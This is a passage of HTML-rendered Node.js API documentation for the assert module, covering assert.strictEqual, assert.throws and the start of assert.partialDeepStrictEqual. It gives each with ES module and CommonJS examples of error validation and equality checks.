      <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">TypeError</span>(<span class="hljs-string">'Wrong value'</span>);
    },
    <span class="hljs-function">(<span class="hljs-params">err</span>) =></span> {
      assert.<span class="hljs-title function_">strictEqual</span>(err.<span class="hljs-property">name</span>, <span class="hljs-string">'TypeError'</span>);
      assert.<span class="hljs-title function_">strictEqual</span>(err.<span class="hljs-property">message</span>, <span class="hljs-string">'Wrong value'</span>);
      <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;
    },
  );
})();</code><button class="copy-button">copy</button></pre>

<pre class="with-45-chars"><input class="js-flavor-toggle" type="checkbox" checked aria-label="Show modern ES modules syntax"><code class="language-js mjs"><span class="hljs-keyword">import</span> assert <span class="hljs-keyword">from</span> <span class="hljs-string">'node:assert/strict'</span>;

assert.<span class="hljs-title function_">rejects</span>(
  <span class="hljs-title class_">Promise</span>.<span class="hljs-title function_">reject</span>(<span class="hljs-keyword">new</span> <span class="hljs-title class_">Error</span>(<span class="hljs-string">'Wrong value'</span>)),
  <span class="hljs-title class_">Error</span>,
).<span class="hljs-title function_">then</span>(<span class="hljs-function">() =></span> {
  <span class="hljs-comment">// ...</span>
});</code><code class="language-js cjs"><span class="hljs-keyword">const</span> assert = <span class="hljs-built_in">require</span>(<span class="hljs-string">'node:assert/strict'</span>);

assert.<span class="hljs-title function_">rejects</span>(
  <span class="hljs-title class_">Promise</span>.<span class="hljs-title function_">reject</span>(<span class="hljs-keyword">new</span> <span class="hljs-title class_">Error</span>(<span class="hljs-string">'Wrong value'</span>)),
  <span class="hljs-title class_">Error</span>,
).<span class="hljs-title function_">then</span>(<span class="hljs-function">() =></span> {
  <span class="hljs-comment">// ...</span>
});</code><button class="copy-button">copy</button></pre>
<p><code>error</code> cannot be a string. If a string is provided as the second
argument, then <code>error</code> is assumed to be omitted and the string will be used for
<code>message</code> instead. This can lead to easy-to-miss mistakes. Please read the
example in <a href="#assertthrowsfn-error-message"><code>assert.throws()</code></a> carefully if using a string as the second
argument gets considered.</p>
</section><section><h3><code>assert.strictEqual(actual, expected[, message])</code><span><a class="mark" href="#assertstrictequalactual-expected-message" id="assertstrictequalactual-expected-message">#</a></span><a aria-hidden="true" class="legacy" id="assert_assert_strictequal_actual_expected_message"></a></h3>
<div class="api_metadata">
<details class="changelog"><summary>History</summary>
<table>
<tbody><tr><th>Version</th><th>Changes</th></tr>
<tr><td>v10.0.0</td>
<td><p>Used comparison changed from Strict Equality to <code>Object.is()</code>.</p></td></tr>
<tr><td>v0.1.21</td>
<td><p><span>Added in: v0.1.21</span></p></td></tr>
</tbody></table>
</details>
</div>
<ul>
<li><code>actual</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#Data_types" class="type">&#x3C;any></a></li>
<li><code>expected</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#Data_types" class="type">&#x3C;any></a></li>
<li><code>message</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a> | <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Error" class="type">&#x3C;Error></a></li>
</ul>
<p>Tests strict equality between the <code>actual</code> and <code>expected</code> parameters as
determined by <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is"><code>Object.is()</code></a>.</p>

<pre class="with-45-chars"><input class="js-flavor-toggle" type="checkbox" checked aria-label="Show modern ES modules syntax"><code class="language-js mjs"><span class="hljs-keyword">import</span> assert <span class="hljs-keyword">from</span> <span class="hljs-string">'node:assert/strict'</span>;

assert.<span class="hljs-title function_">strictEqual</span>(<span class="hljs-number">1</span>, <span class="hljs-number">2</span>);
<span class="hljs-comment">// AssertionError [ERR_ASSERTION]: Expected inputs to be strictly equal:</span>
<span class="hljs-comment">//</span>
<span class="hljs-comment">// 1 !== 2</span>

assert.<span class="hljs-title function_">strictEqual</span>(<span class="hljs-number">1</span>, <span class="hljs-number">1</span>);
<span class="hljs-comment">// OK</span>

assert.<span class="hljs-title function_">strictEqual</span>(<span class="hljs-string">'Hello foobar'</span>, <span class="hljs-string">'Hello World!'</span>);
<span class="hljs-comment">// AssertionError [ERR_ASSERTION]: Expected inputs to be strictly equal:</span>
<span class="hljs-comment">// + actual - expected</span>
<span class="hljs-comment">//</span>
<span class="hljs-comment">// + 'Hello foobar'</span>
<span class="hljs-comment">// - 'Hello World!'</span>
<span class="hljs-comment">//          ^</span>

<span class="hljs-keyword">const</span> apples = <span class="hljs-number">1</span>;
<span class="hljs-keyword">const</span> oranges = <span class="hljs-number">2</span>;
assert.<span class="hljs-title function_">strictEqual</span>(apples, oranges, <span class="hljs-string">`apples <span class="hljs-subst">${apples}</span> !== oranges <span class="hljs-subst">${oranges}</span>`</span>);
<span class="hljs-comment">// AssertionError [ERR_ASSERTION]: apples 1 !== oranges 2</span>

assert.<span class="hljs-title function_">strictEqual</span>(<span class="hljs-number">1</span>, <span class="hljs-string">'1'</span>, <span class="hljs-keyword">new</span> <span class="hljs-title class_">TypeError</span>(<span class="hljs-string">'Inputs are not identical'</span>));
<span class="hljs-comment">// TypeError: Inputs are not identical</span></code><code class="language-js cjs"><span class="hljs-keyword">const</span> assert = <span class="hljs-built_in">require</span>(<span class="hljs-string">'node:assert/strict'</span>);

assert.<span class="hljs-title function_">strictEqual</span>(<span class="hljs-number">1</span>, <span class="hljs-number">2</span>);
<span class="hljs-comment">// AssertionError [ERR_ASSERTION]: Expected inputs to be strictly equal:</span>
<span class="hljs-comment">//</span>
<span class="hljs-comment">// 1 !== 2</span>

assert.<span class="hljs-title function_">strictEqual</span>(<span class="hljs-number">1</span>, <span class="hljs-number">1</span>);
<span class="hljs-comment">// OK</span>

assert.<span class="hljs-title function_">strictEqual</span>(<span class="hljs-string">'Hello foobar'</span>, <span class="hljs-string">'Hello World!'</span>);
<span class="hljs-comment">// AssertionError [ERR_ASSERTION]: Expected inputs to be strictly equal:</span>
<span class="hljs-comment">// + actual - expected</span>
<span class="hljs-comment">//</span>
<span class="hljs-comment">// + 'Hello foobar'</span>
<span class="hljs-comment">// - 'Hello World!'</span>
<span class="hljs-comment">//          ^</span>

<span class="hljs-keyword">const</span> apples = <span class="hljs-number">1</span>;
<span class="hljs-keyword">const</span> oranges = <span class="hljs-number">2</span>;
assert.<span class="hljs-title function_">strictEqual</span>(apples, oranges, <span class="hljs-string">`apples <span class="hljs-subst">${apples}</span> !== oranges <span class="hljs-subst">${oranges}</span>`</span>);
<span class="hljs-comment">// AssertionError [ERR_ASSERTION]: apples 1 !== oranges 2</span>

assert.<span class="hljs-title function_">strictEqual</span>(<span class="hljs-number">1</span>, <span class="hljs-string">'1'</span>, <span class="hljs-keyword">new</span> <span class="hljs-title class_">TypeError</span>(<span class="hljs-string">'Inputs are not identical'</span>));
<span class="hljs-comment">// TypeError: Inputs are not identical</span></code><button class="copy-button">copy</button></pre>
<p>If the values are not strictly equal, an <a href="#class-assertassertionerror"><code>AssertionError</code></a> is thrown with a
<code>message</code> property set equal to the value of the <code>message</code> parameter. If the
<code>message</code> parameter is undefined, a default error message is assigned. If the
<code>message</code> parameter is an instance of <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Error" class="type">&#x3C;Error></a> then it will be thrown
instead of the <a href="#class-assertassertionerror"><code>AssertionError</code></a>.</p>
</section><section><h3><code>assert.throws(fn[, error][, message])</code><span><a class="mark" href="#assertthrowsfn-error-message" id="assertthrowsfn-error-message">#</a></span><a aria-hidden="true" class="legacy" id="assert_assert_throws_fn_error_message"></a></h3>
<div class="api_metadata">
<details class="changelog"><summary>History</summary>
<table>
<tbody><tr><th>Version</th><th>Changes</th></tr>
<tr><td>v10.2.0</td>
<td><p>The <code>error</code> parameter can be an object containing regular expressions now.</p></td></tr>
<tr><td>v9.9.0</td>
<td><p>The <code>error</code> parameter can now be an object as well.</p></td></tr>
<tr><td>v4.2.0</td>
<td><p>The <code>error</code> parameter can now be an arrow function.</p></td></tr>
<tr><td>v0.1.21</td>
<td><p><span>Added in: v0.1.21</span></p></td></tr>
</tbody></table>
</details>
</div>
<ul>
<li><code>fn</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function" class="type">&#x3C;Function></a></li>
<li><code>error</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp" class="type">&#x3C;RegExp></a> | <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function" class="type">&#x3C;Function></a> | <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object" class="type">&#x3C;Object></a> | <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Error" class="type">&#x3C;Error></a></li>
<li><code>message</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a></li>
</ul>
<p>Expects the function <code>fn</code> to throw an error.</p>
<p>If specified, <code>error</code> can be a <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes"><code>Class</code></a>, <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp" class="type">&#x3C;RegExp></a>, a validation function,
a validation object where each property will be tested for strict deep equality,
or an instance of error where each property will be tested for strict deep
equality including the non-enumerable <code>message</code> and <code>name</code> properties. When
using an object, it is also possible to use a regular expression, when
validating against a string property. See below for examples.</p>
<p>If specified, <code>message</code> will be appended to the message provided by the
<code>AssertionError</code> if the <code>fn</code> call fails to throw or in case the error validation
fails.</p>
<p>Custom validation object/error instance:</p>

<pre class="with-45-chars"><input class="js-flavor-toggle" type="checkbox" checked aria-label="Show modern ES modules syntax"><code class="language-js mjs"><span class="hljs-keyword">import</span> assert <span class="hljs-keyword">from</span> <span class="hljs-string">'node:assert/strict'</span>;

<span class="hljs-keyword">const</span> err = <span class="hljs-keyword">new</span> <span class="hljs-title class_">TypeError</span>(<span class="hljs-string">'Wrong value'</span>);
err.<span class="hljs-property">code</span> = <span class="hljs-number">404</span>;
err.<span class="hljs-property">foo</span> = <span class="hljs-string">'bar'</span>;
err.<span class="hljs-property">info</span> = {
  <span class="hljs-attr">nested</span>: <span class="hljs-literal">true</span>,
  <span class="hljs-attr">baz</span>: <span class="hljs-string">'text'</span>,
};
err.<span class="hljs-property">reg</span> = <span class="hljs-regexp">/abc/i</span>;

assert.<span class="hljs-title function_">throws</span>(
  <span class="hljs-function">() =></span> {
    <span class="hljs-keyword">throw</span> err;
  },
  {
    <span class="hljs-attr">name</span>: <span class="hljs-string">'TypeError'</span>,
    <span class="hljs-attr">message</span>: <span class="hljs-string">'Wrong value'</span>,
    <span class="hljs-attr">info</span>: {
      <span class="hljs-attr">nested</span>: <span class="hljs-literal">true</span>,
      <span class="hljs-attr">baz</span>: <span class="hljs-string">'text'</span>,
    },
    <span class="hljs-comment">// Only properties on the validation object will be tested for.</span>
    <span class="hljs-comment">// Using nested objects requires all properties to be present. Otherwise</span>
    <span class="hljs-comment">// the validation is going to fail.</span>
  },
);

<span class="hljs-comment">// Using regular expressions to validate error properties:</span>
assert.<span class="hljs-title function_">throws</span>(
  <span class="hljs-function">() =></span> {
    <span class="hljs-keyword">throw</span> err;
  },
  {
    <span class="hljs-comment">// The `name` and `message` properties are strings and using regular</span>
    <span class="hljs-comment">// expressions on those will match against the string. If they fail, an</span>
    <span class="hljs-comment">// error is thrown.</span>
    <span class="hljs-attr">name</span>: <span class="hljs-regexp">/^TypeError$/</span>,
    <span class="hljs-attr">message</span>: <span class="hljs-regexp">/Wrong/</span>,
    <span class="hljs-attr">foo</span>: <span class="hljs-string">'bar'</span>,
    <span class="hljs-attr">info</span>: {
      <span class="hljs-attr">nested</span>: <span class="hljs-literal">true</span>,
      <span class="hljs-comment">// It is not possible to use regular expressions for nested properties!</span>
      <span class="hljs-attr">baz</span>: <span class="hljs-string">'text'</span>,
    },
    <span class="hljs-comment">// The `reg` property contains a regular expression and only if the</span>
    <span class="hljs-comment">// validation object contains an identical regular expression, it is going</span>
    <span class="hljs-comment">// to pass.</span>
    <span class="hljs-attr">reg</span>: <span class="hljs-regexp">/abc/i</span>,
  },
);

<span class="hljs-comment">// Fails due to the different `message` and `name` properties:</span>
assert.<span class="hljs-title function_">throws</span>(
  <span class="hljs-function">() =></span> {
    <span class="hljs-keyword">const</span> otherErr = <span class="hljs-keyword">new</span> <span class="hljs-title class_">Error</span>(<span class="hljs-string">'Not found'</span>);
    <span class="hljs-comment">// Copy all enumerable properties from `err` to `otherErr`.</span>
    <span class="hljs-keyword">for</span> (<span class="hljs-keyword">const</span> [key, value] <span class="hljs-keyword">of</span> <span class="hljs-title class_">Object</span>.<span class="hljs-title function_">entries</span>(err)) {
      otherErr[key] = value;
    }
    <span class="hljs-keyword">throw</span> otherErr;
  },
  <span class="hljs-comment">// The error's `message` and `name` properties will also be checked when using</span>
  <span class="hljs-comment">// an error as validation object.</span>
  err,
);</code><code class="language-js cjs"><span class="hljs-keyword">const</span> assert = <span class="hljs-built_in">require</span>(<span class="hljs-string">'node:assert/strict'</span>);

<span class="hljs-keyword">const</span> err = <span class="hljs-keyword">new</span> <span class="hljs-title class_">TypeError</span>(<span class="hljs-string">'Wrong value'</span>);
err.<span class="hljs-property">code</span> = <span class="hljs-number">404</span>;
err.<span class="hljs-property">foo</span> = <span class="hljs-string">'bar'</span>;
err.<span class="hljs-property">info</span> = {
  <span class="hljs-attr">nested</span>: <span class="hljs-literal">true</span>,
  <span class="hljs-attr">baz</span>: <span class="hljs-string">'text'</span>,
};
err.<span class="hljs-property">reg</span> = <span class="hljs-regexp">/abc/i</span>;

assert.<span class="hljs-title function_">throws</span>(
  <span class="hljs-function">() =></span> {
    <span class="hljs-keyword">throw</span> err;
  },
  {
    <span class="hljs-attr">name</span>: <span class="hljs-string">'TypeError'</span>,
    <span class="hljs-attr">message</span>: <span class="hljs-string">'Wrong value'</span>,
    <span class="hljs-attr">info</span>: {
      <span class="hljs-attr">nested</span>: <span class="hljs-literal">true</span>,
      <span class="hljs-attr">baz</span>: <span class="hljs-string">'text'</span>,
    },
    <span class="hljs-comment">// Only properties on the validation object will be tested for.</span>
    <span class="hljs-comment">// Using nested objects requires all properties to be present. Otherwise</span>
    <span class="hljs-comment">// the validation is going to fail.</span>
  },
);

<span class="hljs-comment">// Using regular expressions to validate error properties:</span>
assert.<span class="hljs-title function_">throws</span>(
  <span class="hljs-function">() =></span> {
    <span class="hljs-keyword">throw</span> err;
  },
  {
    <span class="hljs-comment">// The `name` and `message` properties are strings and using regular</span>
    <span class="hljs-comment">// expressions on those will match against the string. If they fail, an</span>
    <span class="hljs-comment">// error is thrown.</span>
    <span class="hljs-attr">name</span>: <span class="hljs-regexp">/^TypeError$/</span>,
    <span class="hljs-attr">message</span>: <span class="hljs-regexp">/Wrong/</span>,
    <span class="hljs-attr">foo</span>: <span class="hljs-string">'bar'</span>,
    <span class="hljs-attr">info</span>: {
      <span class="hljs-attr">nested</span>: <span class="hljs-literal">true</span>,
      <span class="hljs-comment">// It is not possible to use regular expressions for nested properties!</span>
      <span class="hljs-attr">baz</span>: <span class="hljs-string">'text'</span>,
    },
    <span class="hljs-comment">// The `reg` property contains a regular expression and only if the</span>
    <span class="hljs-comment">// validation object contains an identical regular expression, it is going</span>
    <span class="hljs-comment">// to pass.</span>
    <span class="hljs-attr">reg</span>: <span class="hljs-regexp">/abc/i</span>,
  },
);

<span class="hljs-comment">// Fails due to the different `message` and `name` properties:</span>
assert.<span class="hljs-title function_">throws</span>(
  <span class="hljs-function">() =></span> {
    <span class="hljs-keyword">const</span> otherErr = <span class="hljs-keyword">new</span> <span class="hljs-title class_">Error</span>(<span class="hljs-string">'Not found'</span>);
    <span class="hljs-comment">// Copy all enumerable properties from `err` to `otherErr`.</span>
    <span class="hljs-keyword">for</span> (<span class="hljs-keyword">const</span> [key, value] <span class="hljs-keyword">of</span> <span class="hljs-title class_">Object</span>.<span class="hljs-title function_">entries</span>(err)) {
      otherErr[key] = value;
    }
    <span class="hljs-keyword">throw</span> otherErr;
  },
  <span class="hljs-comment">// The error's `message` and `name` properties will also be checked when using</span>
  <span class="hljs-comment">// an error as validation object.</span>
  err,
);</code><button class="copy-button">copy</button></pre>
<p>Validate instanceof using constructor:</p>

<pre class="with-45-chars"><input class="js-flavor-toggle" type="checkbox" checked aria-label="Show modern ES modules syntax"><code class="language-js mjs"><span class="hljs-keyword">import</span> assert <span class="hljs-keyword">from</span> <span class="hljs-string">'node:assert/strict'</span>;

assert.<span class="hljs-title function_">throws</span>(
  <span class="hljs-function">() =></span> {
    <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">Error</span>(<span class="hljs-string">'Wrong value'</span>);
  },
  <span class="hljs-title class_">Error</span>,
);</code><code class="language-js cjs"><span class="hljs-keyword">const</span> assert = <span class="hljs-built_in">require</span>(<span class="hljs-string">'node:assert/strict'</span>);

assert.<span class="hljs-title function_">throws</span>(
  <span class="hljs-function">() =></span> {
    <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">Error</span>(<span class="hljs-string">'Wrong value'</span>);
  },
  <span class="hljs-title class_">Error</span>,
);</code><button class="copy-button">copy</button></pre>
<p>Validate error message using <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp" class="type">&#x3C;RegExp></a>:</p>
<p>Using a regular expression runs <code>.toString</code> on the error object, and will
therefore also include the error name.</p>

<pre class="with-45-chars"><input class="js-flavor-toggle" type="checkbox" checked aria-label="Show modern ES modules syntax"><code class="language-js mjs"><span class="hljs-keyword">import</span> assert <span class="hljs-keyword">from</span> <span class="hljs-string">'node:assert/strict'</span>;

assert.<span class="hljs-title function_">throws</span>(
  <span class="hljs-function">() =></span> {
    <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">Error</span>(<span class="hljs-string">'Wrong value'</span>);
  },
  <span class="hljs-regexp">/^Error: Wrong value$/</span>,
);</code><code class="language-js cjs"><span class="hljs-keyword">const</span> assert = <span class="hljs-built_in">require</span>(<span class="hljs-string">'node:assert/strict'</span>);

assert.<span class="hljs-title function_">throws</span>(
  <span class="hljs-function">() =></span> {
    <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">Error</span>(<span class="hljs-string">'Wrong value'</span>);
  },
  <span class="hljs-regexp">/^Error: Wrong value$/</span>,
);</code><button class="copy-button">copy</button></pre>
<p>Custom error validation:</p>
<p>The function must return <code>true</code> to indicate all internal validations passed.
It will otherwise fail with an <a href="#class-assertassertionerror"><code>AssertionError</code></a>.</p>

<pre class="with-45-chars"><input class="js-flavor-toggle" type="checkbox" checked aria-label="Show modern ES modules syntax"><code class="language-js mjs"><span class="hljs-keyword">import</span> assert <span class="hljs-keyword">from</span> <span class="hljs-string">'node:assert/strict'</span>;

assert.<span class="hljs-title function_">throws</span>(
  <span class="hljs-function">() =></span> {
    <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">Error</span>(<span class="hljs-string">'Wrong value'</span>);
  },
  <span class="hljs-function">(<span class="hljs-params">err</span>) =></span> {
    <span class="hljs-title function_">assert</span>(err <span class="hljs-keyword">instanceof</span> <span class="hljs-title class_">Error</span>);
    <span class="hljs-title function_">assert</span>(<span class="hljs-regexp">/value/</span>.<span class="hljs-title function_">test</span>(err));
    <span class="hljs-comment">// Avoid returning anything from validation functions besides `true`.</span>
    <span class="hljs-comment">// Otherwise, it's not clear what part of the validation failed. Instead,</span>
    <span class="hljs-comment">// throw an error about the specific validation that failed (as done in this</span>
    <span class="hljs-comment">// example) and add as much helpful debugging information to that error as</span>
    <span class="hljs-comment">// possible.</span>
    <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;
  },
  <span class="hljs-string">'unexpected error'</span>,
);</code><code class="language-js cjs"><span class="hljs-keyword">const</span> assert = <span class="hljs-built_in">require</span>(<span class="hljs-string">'node:assert/strict'</span>);

assert.<span class="hljs-title function_">throws</span>(
  <span class="hljs-function">() =></span> {
    <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">Error</span>(<span class="hljs-string">'Wrong value'</span>);
  },
  <span class="hljs-function">(<span class="hljs-params">err</span>) =></span> {
    <span class="hljs-title function_">assert</span>(err <span class="hljs-keyword">instanceof</span> <span class="hljs-title class_">Error</span>);
    <span class="hljs-title function_">assert</span>(<span class="hljs-regexp">/value/</span>.<span class="hljs-title function_">test</span>(err));
    <span class="hljs-comment">// Avoid returning anything from validation functions besides `true`.</span>
    <span class="hljs-comment">// Otherwise, it's not clear what part of the validation failed. Instead,</span>
    <span class="hljs-comment">// throw an error about the specific validation that failed (as done in this</span>
    <span class="hljs-comment">// example) and add as much helpful debugging information to that error as</span>
    <span class="hljs-comment">// possible.</span>
    <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;
  },
  <span class="hljs-string">'unexpected error'</span>,
);</code><button class="copy-button">copy</button></pre>
<p><code>error</code> cannot be a string. If a string is provided as the second
argument, then <code>error</code> is assumed to be omitted and the string will be used for
<code>message</code> instead. This can lead to easy-to-miss mistakes. Using the same
message as the thrown error message is going to result in an
<code>ERR_AMBIGUOUS_ARGUMENT</code> error. Please read the example below carefully if using
a string as the second argument gets considered:</p>

<pre class="with-45-chars"><input class="js-flavor-toggle" type="checkbox" checked aria-label="Show modern ES modules syntax"><code class="language-js mjs"><span class="hljs-keyword">import</span> assert <span class="hljs-keyword">from</span> <span class="hljs-string">'node:assert/strict'</span>;

<span class="hljs-keyword">function</span> <span class="hljs-title function_">throwingFirst</span>(<span class="hljs-params"></span>) {
  <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">Error</span>(<span class="hljs-string">'First'</span>);
}

<span class="hljs-keyword">function</span> <span class="hljs-title function_">throwingSecond</span>(<span class="hljs-params"></span>) {
  <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">Error</span>(<span class="hljs-string">'Second'</span>);
}

<span class="hljs-keyword">function</span> <span class="hljs-title function_">notThrowing</span>(<span class="hljs-params"></span>) {}

<span class="hljs-comment">// The second argument is a string and the input function threw an Error.</span>
<span class="hljs-comment">// The first case will not throw as it does not match for the error message</span>
<span class="hljs-comment">// thrown by the input function!</span>
assert.<span class="hljs-title function_">throws</span>(throwingFirst, <span class="hljs-string">'Second'</span>);
<span class="hljs-comment">// In the next example the message has no benefit over the message from the</span>
<span class="hljs-comment">// error and since it is not clear if the user intended to actually match</span>
<span class="hljs-comment">// against the error message, Node.js throws an `ERR_AMBIGUOUS_ARGUMENT` error.</span>
assert.<span class="hljs-title function_">throws</span>(throwingSecond, <span class="hljs-string">'Second'</span>);
<span class="hljs-comment">// TypeError [ERR_AMBIGUOUS_ARGUMENT]</span>

<span class="hljs-comment">// The string is only used (as message) in case the function does not throw:</span>
assert.<span class="hljs-title function_">throws</span>(notThrowing, <span class="hljs-string">'Second'</span>);
<span class="hljs-comment">// AssertionError [ERR_ASSERTION]: Missing expected exception: Second</span>

<span class="hljs-comment">// If it was intended to match for the error message do this instead:</span>
<span class="hljs-comment">// It does not throw because the error messages match.</span>
assert.<span class="hljs-title function_">throws</span>(throwingSecond, <span class="hljs-regexp">/Second$/</span>);

<span class="hljs-comment">// If the error message does not match, an AssertionError is thrown.</span>
assert.<span class="hljs-title function_">throws</span>(throwingFirst, <span class="hljs-regexp">/Second$/</span>);
<span class="hljs-comment">// AssertionError [ERR_ASSERTION]</span></code><code class="language-js cjs"><span class="hljs-keyword">const</span> assert = <span class="hljs-built_in">require</span>(<span class="hljs-string">'node:assert/strict'</span>);

<span class="hljs-keyword">function</span> <span class="hljs-title function_">throwingFirst</span>(<span class="hljs-params"></span>) {
  <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">Error</span>(<span class="hljs-string">'First'</span>);
}

<span class="hljs-keyword">function</span> <span class="hljs-title function_">throwingSecond</span>(<span class="hljs-params"></span>) {
  <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">Error</span>(<span class="hljs-string">'Second'</span>);
}

<span class="hljs-keyword">function</span> <span class="hljs-title function_">notThrowing</span>(<span class="hljs-params"></span>) {}

<span class="hljs-comment">// The second argument is a string and the input function threw an Error.</span>
<span class="hljs-comment">// The first case will not throw as it does not match for the error message</span>
<span class="hljs-comment">// thrown by the input function!</span>
assert.<span class="hljs-title function_">throws</span>(throwingFirst, <span class="hljs-string">'Second'</span>);
<span class="hljs-comment">// In the next example the message has no benefit over the message from the</span>
<span class="hljs-comment">// error and since it is not clear if the user intended to actually match</span>
<span class="hljs-comment">// against the error message, Node.js throws an `ERR_AMBIGUOUS_ARGUMENT` error.</span>
assert.<span class="hljs-title function_">throws</span>(throwingSecond, <span class="hljs-string">'Second'</span>);
<span class="hljs-comment">// TypeError [ERR_AMBIGUOUS_ARGUMENT]</span>

<span class="hljs-comment">// The string is only used (as message) in case the function does not throw:</span>
assert.<span class="hljs-title function_">throws</span>(notThrowing, <span class="hljs-string">'Second'</span>);
<span class="hljs-comment">// AssertionError [ERR_ASSERTION]: Missing expected exception: Second</span>

<span class="hljs-comment">// If it was intended to match for the error message do this instead:</span>
<span class="hljs-comment">// It does not throw because the error messages match.</span>
assert.<span class="hljs-title function_">throws</span>(throwingSecond, <span class="hljs-regexp">/Second$/</span>);

<span class="hljs-comment">// If the error message does not match, an AssertionError is thrown.</span>
assert.<span class="hljs-title function_">throws</span>(throwingFirst, <span class="hljs-regexp">/Second$/</span>);
<span class="hljs-comment">// AssertionError [ERR_ASSERTION]</span></code><button class="copy-button">copy</button></pre>
<p>Due to the confusing error-prone notation, avoid a string as the second
argument.</p>
</section><section><h3><code>assert.partialDeepStrictEqual(actual, expected[, message])</code><span><a class="mark" href="#assertpartialdeepstrictequalactual-expected-message" id="assertpartialdeepstrictequalactual-expected-message">#</a></span><a aria-hidden="true" class="legacy" id="assert_assert_partialdeepstrictequal_actual_expected_message"></a></h3>
<div class="api_metadata">
<details class="changelog"><summary>History</summary>
<table>
<tbody><tr><th>Version</th><th>Changes</th></tr>
<tr><td>v22.17.0</td>
<td><p>partialDeepStrictEqual is now Stable. Previously, it had been Experimental.</p></td></tr>
<tr><td>v22.13.0</td>
<td><p><span>Added in: v22.13.0</span></p></td></tr>
</tbody></table>
</details>
</div>
<ul>
<li><code>actual</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#Data_types" class="type">&#x3C;any></a></li>
<li><code>expected</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#Data_types" class="type">&#x3C;any></a></li>
<li><code>message</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a> | <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Error" class="type">&#x3C;Error></a></li>
</ul>
<p>Tests for partial deep equality between the <code>actual</code> and <code>expected</code> parameters.
"Deep" equality means that the enumerable "own" properties of child objects
are recursively evaluated also by the following rules. "Partial" equality means
that only properties that exist on the <code>expected</code> parameter are going to be
compared.</p>
<p>This method always passes the same test cases as <a href="#assertdeepstrictequalactual-expected-message"><code>assert.deepStrictEqual()</code></a>,
behaving as a super set of it.</p>
<div>
<h4>Comparison details<span><a class="mark" href="#comparison-details_2" id="comparison-details_2">#</a></span><a aria-hidden="true" class="legacy" id="assert_comparison_details_2"></a></h4>
<ul>
<li>Primitive values are compared using <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is"><code>Object.is()</code></a>.</li>
<li><a href="https://tc39.github.io/ecma262/#sec-object.prototype.tostring">Type tags</a> of objects should be the same.</li>
<li><a href="https://tc39.github.io/ecma262/#sec-ordinary-object-internal-methods-and-internal-slots"><code>[[Prototype]]</code></a> of objects are not compared.</li>
<li>Only <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Enumerability_and_ownership_of_properties">enumerable "own" properties</a> are considered.</li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Error" class="type">&#x3C;Error></a> names, messages, causes, and errors are always compared,
even if these are not enumerable properties.
<code>errors</code> is also compared.</li>
<li>Enumerable own <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol" class="type">&#x3C;Symbol></a> properties are compared as well.</li>
<li><a href="https://developer.mozilla.org/en-US/docs/Glossary/Primitive#Primitive_wrapper_objects_in_JavaScript">Object wrappers</a> are compared both as objects and unwrapped values.</li>
<li><code>Object</code> properties are compared unordered.</li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map" class="type">&#x3C;Map></a> keys and <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set" class="type">&#x3C;Set></a> items are compared unordered.</li>
<li>Recursion stops when both sides differ or both sides encounter a circular
reference.</li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakMap" class="type">&#x3C;WeakMap></a> and <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakSet" class="type">&#x3C;WeakSet></a> instances are <strong>not</strong> compared structurally.
They are only equal if they reference the same object. Any comparison between
different <code>WeakMap</code> or <code>WeakSet</code> instances will result in inequality,
even if they contain the same entries.</li>
